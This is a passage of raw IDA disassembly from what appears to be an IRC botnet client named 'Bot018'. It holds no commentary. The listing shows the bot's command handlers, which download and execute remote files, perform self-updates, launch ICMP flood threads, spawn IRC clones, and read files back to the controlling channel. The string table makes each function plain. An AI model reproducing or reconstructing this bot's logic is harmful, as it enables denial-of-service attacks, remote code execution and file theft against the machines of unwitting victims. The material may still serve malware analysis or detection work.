		pop	ecx
		jz	short loc_40A0F1
		and	byte ptr [ebx],	0
		inc	ebx


loc_40A0CD:				; CODE XREF: sub_4078FA+27E4j
		push	26h
		push	ebx
		call	sub_413F30
		cmp	eax, edi
		pop	ecx
		pop	ecx
		jz	short loc_40A0E0
		mov	byte ptr [eax],	20h
		jmp	short loc_40A0CD
; ---------------------------------------------------------------------------


loc_40A0E0:				; CODE XREF: sub_4078FA+27DFj
		push	esi
		lea	eax, [ebp+var_D28]
		push	ebx
		push	eax
		call	sub_412C40
		add	esp, 0Ch


loc_40A0F1:				; CODE XREF: sub_4078FA+27CDj
		push	esi
		push	[ebp+var_10]
		lea	eax, [ebp+var_E28]
		push	eax
		call	sub_412C40
		movzx	eax, [ebp+var_447]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_9C]
		mov	[ebp+var_C14], eax
		lea	eax, [ebp+var_FA8]
		push	eax
		mov	[ebp+var_FAC], esi
		call	sub_412C40
		push	[ebp+var_10]
		mov	eax, [ebp+var_C]
		push	[ebp+var_8]
		mov	ebx, [ebp+var_4]
		mov	[ebp+var_C10], eax
		lea	eax, [ebp+var_2E0]
		push	offset aDownloadDown_1 ; "[DOWNLOAD]: Downloading URL: %s to: %s."...
		push	eax
		mov	[ebp+var_C0C], ebx
		call	sub_412BB5
		push	esi
		lea	eax, [ebp+var_2E0]
		push	16h
		push	eax
		call	sub_410EEA
		add	esp, 34h
		mov	[ebp+var_C28], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_FAC]
		push	eax
		push	offset sub_401F06
		push	edi
		push	edi
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_C28]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40A1B4
		call	ds:dword_41F008
		push	eax
		push	offset aDownloadFailed ; "[DOWNLOAD]: Failed to	start transfer th"...
		jmp	loc_40A005
; ---------------------------------------------------------------------------


loc_40A1AC:				; CODE XREF: sub_4078FA+28C0j
		push	32h
		call	ds:dword_41F000


loc_40A1B4:				; CODE XREF: sub_4078FA+289Fj
		cmp	[ebp+var_C08], edi
		jz	short loc_40A1AC
		jmp	loc_40A014
; ---------------------------------------------------------------------------


loc_40A1C1:				; CODE XREF: sub_4078FA+2205j
					; sub_4078FA+2219j
		push	7Fh
		push	[ebp+var_8]
		lea	eax, [ebp+var_123C]
		push	eax
		call	sub_412C40
		push	[ebp+var_10]
		call	sub_412F42
		push	3Fh
		push	[ebp+arg_0]
		mov	[ebp+var_10EC],	eax
		lea	eax, [ebp+var_11BC]
		push	eax
		call	sub_412C40
		mov	ebx, [ebp+ebx+var_94]
		xor	esi, esi
		add	esp, 1Ch
		cmp	ebx, esi
		jz	short loc_40A213
		push	3Fh
		lea	eax, [ebp+var_117C]
		push	ebx
		push	eax
		call	sub_412C40
		add	esp, 0Ch


loc_40A213:				; CODE XREF: sub_4078FA+2905j
		lea	eax, [ebp+var_11BC]
		push	eax
		push	[ebp+var_10EC]
		lea	eax, [ebp+var_123C]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aClonesCreatedO ; "[CLONES]: Created on %s:%d, in channel "...
		push	eax
		mov	[ebp+var_10E8],	1
		call	sub_412BB5
		push	esi
		lea	eax, [ebp+var_2E0]
		push	18h
		push	eax
		call	sub_410EEA
		add	esp, 20h
		mov	[ebp+var_10E4],	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_1240]
		push	eax
		push	offset sub_40779B
		push	esi
		push	esi
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_10E4]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40A2A2
		call	ds:dword_41F008
		push	eax
		push	offset aClonesFailedTo ; "[CLONES]: Failed to start clone thread,"...
		jmp	loc_40AF46
; ---------------------------------------------------------------------------


loc_40A29A:				; CODE XREF: sub_4078FA+29AEj
		push	32h
		call	ds:dword_41F000


loc_40A2A2:				; CODE XREF: sub_4078FA+298Dj
		cmp	[ebp+var_10E0],	esi
		jz	short loc_40A29A
		jmp	loc_40AF55
; ---------------------------------------------------------------------------


loc_40A2AF:				; CODE XREF: sub_4078FA+21CBj
					; sub_4078FA+21DFj
		push	[ebp+var_10]
		call	sub_412F42
		mov	ebx, [ebp+arg_4]
		xor	edi, edi
		cmp	eax, edi
		pop	ecx
		mov	[ebp+var_1358],	eax
		jle	loc_40A3AE
		push	[ebp+var_8]
		mov	esi, 80h
		lea	eax, [ebp+var_14E0]
		push	esi
		push	eax
		call	sub_412E0D
		push	[ebp+var_9C]
		xor	eax, eax
		cmp	[ebp+var_43A], al
		push	esi
		setnz	al
		mov	[ebp+var_14E4],	ebx
		mov	[ebp+var_1354],	eax
		lea	eax, [ebp+var_13E0]
		push	eax
		call	sub_412E0D
		push	[ebp+var_10]
		mov	eax, [ebp+var_4]
		push	[ebp+var_8]
		mov	[ebp+var_1350],	eax
		mov	eax, [ebp+var_C]
		push	offset aIcmpFloodingSF ; "[ICMP]: Flooding: (%s) for %s	seconds."
		mov	[ebp+var_134C],	eax
		lea	eax, [ebp+var_2E0]
		push	200h
		push	eax
		call	sub_412E0D
		push	edi
		lea	eax, [ebp+var_2E0]
		push	0Eh
		push	eax
		call	sub_410EEA
		add	esp, 38h
		mov	[ebp+var_1360],	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_14E4]
		push	eax
		push	offset sub_404249
		push	edi
		push	edi
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_1360]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40A3A4
		call	ds:dword_41F008
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aIcmpFailedToSt ; "[ICMP]: Failed to start flood	thread,	e"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	short loc_40A3C1
; ---------------------------------------------------------------------------


loc_40A39C:				; CODE XREF: sub_4078FA+2AB0j
		push	32h
		call	ds:dword_41F000


loc_40A3A4:				; CODE XREF: sub_4078FA+2A83j
		cmp	[ebp+var_1348],	edi
		jz	short loc_40A39C
		jmp	short loc_40A3C1
; ---------------------------------------------------------------------------


loc_40A3AE:				; CODE XREF: sub_4078FA+29CBj
		lea	eax, [ebp+var_2E0]
		push	offset aIcmpInvalidFlo ; "[ICMP]: Invalid flood	time must be grea"...
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_40A3C1:				; CODE XREF: sub_4078FA+2AA0j
					; sub_4078FA+2AB2j
		cmp	[ebp+var_C], edi
		jnz	loc_40C4A1
		push	edi
		push	[ebp+var_4]
		jmp	loc_40CB44
; ---------------------------------------------------------------------------


loc_40A3D3:				; CODE XREF: sub_4078FA+21A3j
					; sub_4078FA+21B7j
		push	[ebp+var_10]
		push	[ebp+var_8]
		call	ds:dword_41F0CC
		test	eax, eax
		jz	short loc_40A407
		push	[ebp+var_10]
		lea	eax, [ebp+var_2E0]
		push	[ebp+var_8]
		push	offset aFileRenameSToS ; "[FILE]: Rename: '%s' to: '%s'."
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 14h
		jmp	loc_40C47E
; ---------------------------------------------------------------------------


loc_40A407:				; CODE XREF: sub_4078FA+2AE7j
		push	offset aFile	; "[FILE]:"
		call	sub_405708
		push	eax
		lea	eax, [ebp+var_2E0]
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 10h
		jmp	loc_40C47E
; ---------------------------------------------------------------------------


loc_40A42B:				; CODE XREF: sub_4078FA+217Bj
					; sub_4078FA+218Fj
		push	11h
		pop	ecx
		push	[ebp+var_8]
		xor	eax, eax
		xor	ebx, ebx
		lea	edi, [ebp+var_3F0]
		rep stosd
		inc	ebx
		xor	esi, esi
		mov	[ebp+var_3F0], 44h
		mov	[ebp+var_3C4], ebx
		mov	word ptr [ebp+var_3C0],	si
		call	sub_412F42
		cmp	eax, ebx
		pop	ecx
		jnz	short loc_40A46A
		mov	word ptr [ebp+var_3C0],	5


loc_40A46A:				; CODE XREF: sub_4078FA+2B65j
		cmp	[ebp+var_14], esi
		jz	loc_40AF55
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_413920
		mov	edi, eax
		cmp	edi, esi
		pop	ecx
		pop	ecx
		jz	loc_40AF55
		lea	eax, [ebp+var_A64]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	eax
		push	esi
		push	esi
		push	30h
		push	ebx
		push	esi
		push	esi
		push	edi
		push	esi
		call	ds:dword_41F030
		test	eax, eax
		lea	eax, [ebp+var_2E0]
		jnz	short loc_40A4C3
		push	offset aExecCouldnTExe ; "[EXEC]: Couldn't execute file."
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	loc_40AF55
; ---------------------------------------------------------------------------


loc_40A4C3:				; CODE XREF: sub_4078FA+2BB5j
		push	edi
		push	offset aExecCommandsS ;	"[EXEC]: Commands: %s"
		jmp	loc_40AF4C
; ---------------------------------------------------------------------------


loc_40A4CE:				; CODE XREF: sub_4078FA+2153j
					; sub_4078FA+2167j
		mov	edi, [ebp+var_10]
		mov	esi, offset aBot018 ; "Bot018"


loc_40A4D6:				; CODE XREF: sub_4078FA+2BF8j
		mov	cl, [esi]
		mov	al, cl
		cmp	cl, [edi]
		jnz	short loc_40A4F8
		test	al, al
		jz	short loc_40A4F4
		mov	cl, [esi+1]
		mov	al, cl
		cmp	cl, [edi+1]
		jnz	short loc_40A4F8
		inc	esi
		inc	esi
		inc	edi
		inc	edi
		test	al, al
		jnz	short loc_40A4D6


loc_40A4F4:				; CODE XREF: sub_4078FA+2BE6j
		xor	eax, eax
		jmp	short loc_40A4FD
; ---------------------------------------------------------------------------


loc_40A4F8:				; CODE XREF: sub_4078FA+2BE2j
					; sub_4078FA+2BF0j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40A4FD:				; CODE XREF: sub_4078FA+2BFCj
		test	eax, eax
		mov	edi, [ebp+arg_4]
		jz	loc_40A670
		lea	eax, [ebp+var_B74]
		push	eax
		push	104h
		call	ds:dword_41F0A4
		push	0FFh
		push	[ebp+var_8]
		lea	eax, [ebp+var_F28]
		push	eax
		call	sub_412C40
		lea	eax, [ebp+var_A70]
		push	eax
		call	sub_40E4F3
		push	eax
		lea	eax, [ebp+var_B74]
		push	eax
		lea	eax, [ebp+var_E28]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_412BB5
		mov	eax, [ebp+ebx+var_98]
		xor	esi, esi
		add	esp, 20h
		cmp	eax, esi
		mov	[ebp+var_C24], 1
		mov	[ebp+var_C20], esi
		jz	short loc_40A587
		push	10h
		push	esi
		push	eax
		call	sub_413809
		add	esp, 0Ch
		mov	[ebp+var_C18], eax
		jmp	short loc_40A58D
; ---------------------------------------------------------------------------


loc_40A587:				; CODE XREF: sub_4078FA+2C77j
		mov	[ebp+var_C18], esi


loc_40A58D:				; CODE XREF: sub_4078FA+2C8Bj
		mov	ebx, [ebp+ebx+var_94]
		cmp	ebx, esi
		jz	short loc_40A5A7
		push	ebx
		call	sub_412F42
		pop	ecx
		mov	[ebp+var_C1C], eax
		jmp	short loc_40A5AD
; ---------------------------------------------------------------------------


loc_40A5A7:				; CODE XREF: sub_4078FA+2C9Cj
		mov	[ebp+var_C1C], esi


loc_40A5AD:				; CODE XREF: sub_4078FA+2CABj
		movzx	eax, [ebp+var_447]
		push	7Fh
		push	[ebp+var_9C]
		mov	[ebp+var_C14], eax
		lea	eax, [ebp+var_FA8]
		push	eax
		mov	[ebp+var_FAC], edi
		call	sub_412C40
		mov	eax, [ebp+var_4]
		push	[ebp+var_8]
		mov	[ebp+var_C0C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_C10], eax
		lea	eax, [ebp+var_2E0]
		push	offset aUpdateDownload ; "[UPDATE]: Downloading	update from: %s."
		push	eax
		call	sub_412BB5
		push	edi
		lea	eax, [ebp+var_2E0]
		push	17h
		push	eax
		call	sub_410EEA
		add	esp, 24h
		mov	[ebp+var_C28], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_FAC]
		push	eax
		push	offset sub_401F06
		push	esi
		push	esi
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_C28]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40A666
		call	ds:dword_41F008
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aUpdateFailedTo ; "[UPDATE]: Failed to start download thre"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	short loc_40A685
; ---------------------------------------------------------------------------


loc_40A65E:				; CODE XREF: sub_4078FA+2D72j
		push	32h
		call	ds:dword_41F000


loc_40A666:				; CODE XREF: sub_4078FA+2D45j
		cmp	[ebp+var_C08], esi
		jz	short loc_40A65E
		jmp	short loc_40A685
; ---------------------------------------------------------------------------


loc_40A670:				; CODE XREF: sub_4078FA+2C08j
		lea	eax, [ebp+var_2E0]
		push	offset aUpdateUpToDate ; "[UPDATE]: Up to Date"
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		xor	esi, esi


loc_40A685:				; CODE XREF: sub_4078FA+2D62j
					; sub_4078FA+2D74j
		cmp	[ebp+var_C], esi
		jnz	loc_409015
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	edi
		jmp	loc_40900D
; ---------------------------------------------------------------------------


loc_40A6A5:				; CODE XREF: sub_4078FA+212Bj
					; sub_4078FA+213Fj
		mov	edi, [ebp+var_A0]
		push	4
		mov	esi, offset dword_4263EC
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_407B7B
		cmp	[ebp+var_14], eax
		jz	loc_407B7B
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_413920
		push	eax
		push	[ebp+var_9C]
		lea	eax, [ebp+var_2E0]
		push	[ebp+var_A0]
		push	[ebp+var_A4]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_412BB5
		push	1FFh
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+arg_0]
		call	sub_412C40
		push	[ebp+var_8]
		call	sub_412F42
		add	esp, 30h
		test	eax, eax
		jle	short loc_40A72E
		push	[ebp+var_8]
		call	sub_412F42
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_41F000


loc_40A72E:				; CODE XREF: sub_4078FA+2E1Cj
		push	offset aMainDelay_ ; "[MAIN]: Delay."
		call	sub_401C33
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_407B7E
; ---------------------------------------------------------------------------


loc_40A742:				; CODE XREF: sub_4078FA+2103j
					; sub_4078FA+2117j
		mov	edi, [ebp+var_A0]
		push	4
		mov	esi, offset dword_4263EC
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_407B7B
		cmp	[ebp+var_14], eax
		jz	loc_40CFE2
		mov	esi, [ebp+var_10]
		push	esi
		push	[ebp+var_14]
		call	sub_413920
		pop	ecx
		pop	ecx
		mov	ebx, eax
		push	7
		inc	esi
		pop	ecx
		xor	eax, eax
		mov	edi, offset aRepeat ; "repeat"
		repe cmpsb
		lea	eax, [ebp+var_2E0]
		push	ebx
		jz	short loc_40A7FC
		push	[ebp+var_9C]
		push	[ebp+var_A0]
		push	[ebp+var_A4]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_412BB5
		push	1FFh
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+arg_0]
		call	sub_412C40
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	offset aMainRepeatS ; "[MAIN]: Repeat: %s"
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_401C33
		push	[ebp+var_8]
		call	sub_412F42
		add	esp, 38h
		test	eax, eax
		jle	loc_40CFE2
		push	[ebp+var_8]
		call	sub_412F42
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_407B7E
; ---------------------------------------------------------------------------


loc_40A7FC:				; CODE XREF: sub_4078FA+2E8Dj
		push	offset aMainRepeatNotA ; "[MAIN]: Repeat not allowed in	command	l"...
		jmp	loc_40AD66
; ---------------------------------------------------------------------------


loc_40A806:				; CODE XREF: sub_4078FA+20DBj
					; sub_4078FA+20EFj
		push	[ebp+var_10]
		lea	eax, [ebp+var_2E0]
		push	offset aPartS_0	; "PART	%s"
		push	eax
		call	sub_412BB5
		push	[ebp+var_8]
		call	sub_412F42
		add	esp, 10h


loc_40A825:				; CODE XREF: sub_4078FA+2F98j
		test	eax, eax
		jle	loc_40CFE2
		push	[ebp+var_8]
		call	sub_412F42
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40CFE2


loc_40A841:				; CODE XREF: sub_4078FA+37D1j
		lea	eax, [ebp+var_2E0]
		push	eax
		push	offset aS_4	; "%s\r\n"
		push	[ebp+var_8]
		call	sub_412F42
		imul	eax, 234h
		pop	ecx
		push	dword_434344[eax]
		call	sub_404592
		jmp	loc_40C133
; ---------------------------------------------------------------------------


loc_40A86C:				; CODE XREF: sub_4078FA+20B3j
					; sub_4078FA+20C7j
		push	[ebp+ebx+var_98]
		lea	eax, [ebp+var_2E0]
		push	[ebp+var_10]
		push	offset aJoinSS	; "JOIN	%s %s"
		push	eax
		call	sub_412BB5
		push	[ebp+var_8]
		call	sub_412F42
		add	esp, 14h
		jmp	short loc_40A825
; ---------------------------------------------------------------------------


loc_40A894:				; CODE XREF: sub_4078FA+208Bj
					; sub_4078FA+209Fj
		push	[ebp+var_10]


loc_40A897:				; DATA XREF: .data:0042BD1Co
					; .data:0042BD60o ...
		lea	eax, [ebp+var_2E0]
		push	offset aNickS	; "NICK	%s"
		push	eax
		call	sub_412BB5
		mov	esi, [ebp+var_8]
		push	esi
		call	sub_412F42
		add	esp, 10h
		test	eax, eax
		jle	loc_40CFE2
		push	esi
		call	sub_412F42
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40CFE2
		lea	eax, [ebp+var_2E0]
		push	eax
		push	offset aS_4	; "%s\r\n"
		push	esi
		call	sub_412F42
		imul	eax, 234h
		pop	ecx
		push	dword_434344[eax]
		call	sub_404592
		push	[ebp+var_10]
		push	esi
		push	offset aCloneNickSS ; "[CLONE]:	Nick (%s): %s"


loc_40A8FB:				; CODE XREF: sub_4078FA+308Cj
					; sub_4078FA+30FBj ...
		call	sub_401CA7
		jmp	loc_40BDF5
; ---------------------------------------------------------------------------


loc_40A905:				; CODE XREF: sub_4078FA+2063j
					; sub_4078FA+2077j
		cmp	[ebp+var_14], 0
		jz	loc_40CFE2
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_413920
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_40A937
		push	esi
		lea	eax, [ebp+var_2E0]
		push	offset aModeS	; "MODE	%s"
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_40A937:				; CODE XREF: sub_4078FA+3026j
		mov	edi, [ebp+var_8]
		push	edi
		call	sub_412F42
		test	eax, eax
		pop	ecx
		jle	loc_40CFE2
		push	edi
		call	sub_412F42
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40CFE2
		lea	eax, [ebp+var_2E0]
		push	eax
		push	offset aS_4	; "%s\r\n"
		push	edi
		call	sub_412F42
		imul	eax, 234h
		pop	ecx
		push	dword_434344[eax]
		call	sub_404592
		push	esi
		push	edi
		push	offset aCloneModeSS ; "[CLONE]:	Mode (%s): %s"
		jmp	loc_40A8FB
; ---------------------------------------------------------------------------


loc_40A98B:				; CODE XREF: sub_4078FA+203Bj
					; sub_4078FA+204Fj
		cmp	[ebp+var_14], 0
		jz	loc_40CFE2
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_413920
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40CFE2
		mov	edi, [ebp+var_8]
		push	edi
		call	sub_412F42
		test	eax, eax
		pop	ecx
		jle	loc_40CFE2
		push	edi
		call	sub_412F42
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40CFE2
		push	esi
		push	offset aS_4	; "%s\r\n"
		push	edi
		call	sub_412F42
		imul	eax, 234h
		pop	ecx
		push	dword_434344[eax]
		call	sub_404592
		push	esi
		push	edi
		push	offset aCloneRawSS ; "[CLONE]: Raw (%s): %s"
		jmp	loc_40A8FB
; ---------------------------------------------------------------------------


loc_40A9FA:				; CODE XREF: sub_4078FA+2013j
					; sub_4078FA+2027j
		cmp	[ebp+var_14], 0
		jz	loc_40CFE2
		push	[ebp+var_8]
		push	[ebp+var_14]
		call	sub_413920
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40CFE2
		push	esi
		push	offset aModeS_0	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		push	esi
		push	offset aMainModeChange ; "[MAIN]: Mode change: %s"
		jmp	loc_40B2C5
; ---------------------------------------------------------------------------


loc_40AA34:				; CODE XREF: sub_4078FA+1FEBj
					; sub_4078FA+1FFFj
		mov	edi, [ebp+var_A0]
		push	4
		mov	esi, offset dword_4263EC
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_407B7B
		push	[ebp+var_10]
		push	offset aPartS	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		push	[ebp+var_8]
		call	sub_412F42
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_41F000
		push	[ebp+ebx+var_98]
		push	[ebp+var_10]
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		push	offset aMainCycle_ ; "[MAIN]: Cycle."
		call	sub_401C33
		jmp	loc_40B2CA
; ---------------------------------------------------------------------------


loc_40AA9A:				; CODE XREF: sub_4078FA+1FC3j
					; sub_4078FA+1FD7j
		cmp	[ebp+var_14], 0
		jz	loc_40CFE2
		lea	edx, [eax+1]


loc_40AAA7:				; CODE XREF: sub_4078FA+31B2j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40AAA7
		sub	eax, edx
		mov	ecx, eax
		mov	eax, [ebp+var_8]
		lea	esi, [eax+1]


loc_40AAB8:				; CODE XREF: sub_4078FA+31C3j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40AAB8
		push	[ebp+var_10]
		sub	eax, esi
		add	eax, ecx
		mov	ecx, [ebp+var_14]
		lea	eax, [eax+ecx+2]
		push	eax
		call	sub_413920
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40CFE2
		push	esi
		lea	eax, [ebp+var_2E0]
		push	offset dword_425A58
		push	eax
		call	sub_412BB5
		push	0
		push	0
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_8]
		push	[ebp+arg_4]
		call	sub_4045DD
		push	esi
		push	[ebp+var_8]
		push	offset aMainActionSS_ ;	"[MAIN]: Action: %s: %s."
		call	sub_401CA7
		add	esp, 2Ch
		jmp	loc_40CFE2
; ---------------------------------------------------------------------------


loc_40AB1D:				; CODE XREF: sub_4078FA+1F9Bj
					; sub_4078FA+1FAFj
		cmp	[ebp+var_14], 0
		jz	loc_40CFE2
		lea	edx, [eax+1]


loc_40AB2A:				; CODE XREF: sub_4078FA+3235j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40AB2A
		sub	eax, edx
		mov	ecx, eax
		mov	eax, [ebp+var_8]
		lea	esi, [eax+1]


loc_40AB3B:				; CODE XREF: sub_4078FA+3246j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40AB3B
		push	[ebp+var_10]
		sub	eax, esi
		add	eax, ecx
		mov	ecx, [ebp+var_14]
		lea	eax, [eax+ecx+2]
		push	eax
		call	sub_413920
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40CFE2
		push	0
		push	0
		push	esi
		push	[ebp+var_8]
		push	[ebp+arg_4]
		call	sub_4045DD
		push	esi
		push	[ebp+var_8]
		push	offset aMainPrivmsgSS_ ; "[MAIN]: Privmsg: %s: %s."
		call	sub_401CA7


loc_40AB80:				; CODE XREF: sub_4078FA+52BCj
		add	esp, 20h
		jmp	loc_40CFE2
; ---------------------------------------------------------------------------


loc_40AB88:				; CODE XREF: sub_4078FA+1F73j
					; sub_4078FA+1F87j
		cmp	[ebp+var_14], 0
		jz	loc_407B7B
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_407B7B
		push	eax
		push	[ebp+var_8]
		call	sub_401B23
		push	[ebp+var_8]
		lea	eax, [ebp+var_2E0]
		push	offset aMainAliasAdded ; "[MAIN]: Alias	added: %s."
		push	eax
		call	sub_412BB5
		add	esp, 14h


loc_40ABC7:				; CODE XREF: sub_4078FA+38BCj
					; sub_4078FA+4C47j
		cmp	[ebp+var_C], 0
		jnz	short loc_40ABEA
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 14h


loc_40ABEA:				; CODE XREF: sub_4078FA+32D1j
					; sub_4078FA+4405j ...
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_401C33
		jmp	loc_40D1A1
; ---------------------------------------------------------------------------


loc_40ABFB:				; CODE XREF: sub_4078FA+1E33j
					; sub_4078FA+1E47j
		push	[ebp+var_8]
		push	[ebp+arg_1C]
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40CFE2
		mov	ebx, [ebp+ebx+var_9C]
		test	ebx, ebx
		jz	short loc_40AC96
		push	ebx
		push	[ebp+var_14]
		call	sub_413920
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2E0]
		jz	short loc_40AC84
		push	esi
		push	[ebp+var_9C]
		push	[ebp+var_A0]
		push	[ebp+var_A4]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_412BB5
		push	1FFh
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+arg_0]
		call	sub_412C40
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_2E0]
		push	offset aMainGethostSCo ; "[MAIN]: Gethost: %s, Command:	%s"
		push	eax
		call	sub_412BB5
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_40AE37
; ---------------------------------------------------------------------------


loc_40AC84:				; CODE XREF: sub_4078FA+3336j
		push	offset aMainUnableToEx ; "[MAIN]: Unable to extract Gethost comma"...
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	loc_40AE37
; ---------------------------------------------------------------------------


loc_40AC96:				; CODE XREF: sub_4078FA+331Fj
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_410086
		add	esp, 0Ch
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		push	[ebp+var_8]
		lea	eax, [ebp+var_2E0]
		push	offset aMainGethostS_ ;	"[MAIN]: Gethost: %s."
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 24h
		jmp	loc_40AE37
; ---------------------------------------------------------------------------


loc_40ACE0:				; CODE XREF: sub_4078FA+1B62j
					; sub_4078FA+1B76j
		push	offset aR	; "r"
		push	[ebp+var_8]
		call	sub_413393
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2E0]
		jz	short loc_40AD5E
		push	edi
		mov	esi, 200h
		push	esi
		push	eax
		call	sub_4142F5
		add	esp, 0Ch
		jmp	short loc_40AD38
; ---------------------------------------------------------------------------


loc_40AD0D:				; CODE XREF: sub_4078FA+3440j
		push	1
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		push	edi
		lea	eax, [ebp+var_2E0]
		push	esi
		push	eax
		call	sub_4142F5
		add	esp, 20h


loc_40AD38:				; CODE XREF: sub_4078FA+3411j
		test	eax, eax
		jnz	short loc_40AD0D
		push	edi
		call	sub_412F93
		push	[ebp+var_8]
		lea	eax, [ebp+var_2E0]
		push	offset aMainReadFileCo ; "[MAIN]: Read file complete: %s"
		push	eax
		call	sub_412BB5
		add	esp, 10h
		jmp	loc_40AE37
; ---------------------------------------------------------------------------


loc_40AD5E:				; CODE XREF: sub_4078FA+33FFj
		push	[ebp+var_8]
		push	offset aMainReadFileFa ; "[MAIN]: Read file failed: %s"


loc_40AD66:				; CODE XREF: sub_4078FA+2F07j
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	loc_40AE14
; ---------------------------------------------------------------------------


loc_40AD74:				; CODE XREF: sub_4078FA+1B3Aj
					; sub_4078FA+1B4Ej
		cmp	[ebp+var_14], 0
		jz	loc_40CFE2
		push	[ebp+var_8]
		push	[ebp+var_14]
		call	sub_413920
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		pop	ecx
		jz	loc_40CFE2
		mov	edi, ebx
		dec	edi


loc_40AD98:				; CODE XREF: sub_4078FA+34A4j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_40AD98
		mov	esi, offset asc_420328 ; "\n"
		push	ebx
		movsw
		call	sub_40DB6D
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2E0]
		jnz	short loc_40ADBF
